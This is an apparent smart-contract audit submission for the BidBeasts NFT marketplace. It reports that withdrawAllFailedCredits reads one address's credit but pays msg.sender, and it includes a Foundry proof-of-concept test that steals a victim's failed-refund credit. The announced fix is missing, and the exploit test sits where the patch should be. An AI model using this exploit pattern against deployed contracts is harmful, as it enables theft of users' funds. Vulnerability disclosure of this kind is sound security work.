Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Authorization / Logic bug in withdrawAllFailedCredits allows theft of failed refund credits

Summary —
BidBeastsNFTMarket incorrectly authorizes withdrawal of stored failed-transfer credits. The function withdrawAllFailedCredits(address _receiver) reads credit balance for _receiver but zeroes and pays out to msg.sender. This mismatch allows any caller to withdraw another address’s credited funds to themselves, while leaving the victim’s credit unchanged — enabling repeated theft (double‑spend).

Affected Contract(s)
BidBeastsNFTMarket (file: src/BidBeastsNFTMarketPlace.sol)

Root Cause
A logic bug in withdrawAllFailedCredits where the mapping key used to read the credit (_receiver) is not the same key used to reset or pay (msg.sender). This inconsistent key usage breaks authorization and results in misdirected payouts



function withdrawAllFailedCredits(address \_receiver) external {
uint256 amount = failedTransferCredits\[\_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");

}

Impact

The victim’s recorded credit is not decremented, enabling repeated theft of the same credit (double‑spend).

Funds are drained from the marketplace’s balance and misdirected to attackers.

Exploitable on‑chain with minimal prerequisites (only knowledge of a credited address).


Reproduction (high level)

Create a bidder contract that reverts when receiving Ether (so refunds fail and the marketplace records failedTransferCredits[victim]).

Have that contract place the first bid.

Outbid it with another account; the marketplace will attempt to refund the victim, the refund reverts, and the contract records failedTransferCredits[victim].

An attacker calls withdrawAllFailedCredits(victim) — the marketplace pays the attacker (msg.sender) the amount recorded for victim, and does not clear the victim’s credit.

POC

forge test --match-contract ExploitWithdrawCredits -vvv

Fix (recommended patch)
Replace the vulnerable function with the following implementation that allows only the credited address to withdraw its own credits and uses checks‑effects‑interactions:


to test it

pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/BidBeastsNFTMarketPlace.sol";
import "../src/BidBeasts\_NFT\_ERC721.sol";
contract VictimBidder {
BidBeastsNFTMarket public market;
constructor(address \_market) {
market = BidBeastsNFTMarket(\_market);
}
Solidity
// Forward bid payment to the marketplace
function placeBid(uint256 tokenId) external payable {
market.placeBid{value: msg.value}(tokenId);
}
// Always revert when receiving Ether, causing refunds to fail
receive() external payable {
revert("I refuse ETH");
}
}
contract ExploitWithdrawCredits is Test {
BidBeastsNFTMarket public market;
BidBeasts public nft;
VictimBidder public victim;
Solidity
// test actors
address public constant OWNER = address(0x100);
address public constant SELLER = address(0x200);
address public constant OUTBIDDER = address(0x300);
address public constant ATTACKER = address(0x500);
uint256 public constant TOKEN_ID = 0;
uint256 public constant MIN_PRICE = 1 ether;
function setUp() public {
// deploy NFT and market
vm.prank(OWNER);
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
// mint token to seller
vm.prank(OWNER);
nft.mint(SELLER);
// prepare funds
vm.deal(OUTBIDDER, 10 ether);
vm.deal(ATTACKER, 0);
// seller approves and lists the NFT
vm.startPrank(SELLER);
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, 0);
vm.stopPrank();
// deploy the victim contract that will reject refunds
victim = new VictimBidder(address(market));
}
function test_exploitStealCredits() public {
// 1) Victim places the first bid (must be > MIN_PRICE)
uint256 firstBid = MIN_PRICE + 1 wei;
(bool ok, ) = address(victim).call{value: firstBid}(abi.encodeWithSignature("placeBid(uint256)", TOKEN_ID));
require(ok, "victim placeBid failed");
// 2) An EOA outbids the victim, causing the marketplace to attempt a refund
uint256 outbidAmount = firstBid * 2;
vm.prank(OUTBIDDER);
market.placeBid{value: outbidAmount}(TOKEN_ID);
// 3) Confirm the marketplace recorded a failed credit for the victim
uint256 recordedCredit = market.failedTransferCredits(address(victim));
assertEq(recordedCredit, firstBid, "expected victim to have recorded failed credit");
// 4) ATTACKER calls the vulnerable withdraw function passing the victim's address
uint256 balanceBefore = ATTACKER.balance;
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(address(victim)); // vulnerable function
uint256 balanceAfter = ATTACKER.balance;
// attacker received the credited funds (theft)
assertEq(balanceAfter - balanceBefore, firstBid, "attacker did not receive stolen credits");
// 5) the victim's recorded credit was NOT cleared (double-spend)
uint256 creditAfter = market.failedTransferCredits(address(victim));
assertEq(creditAfter, firstBid, "victim credit should remain (vulnerable behavior)");
}

}

Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!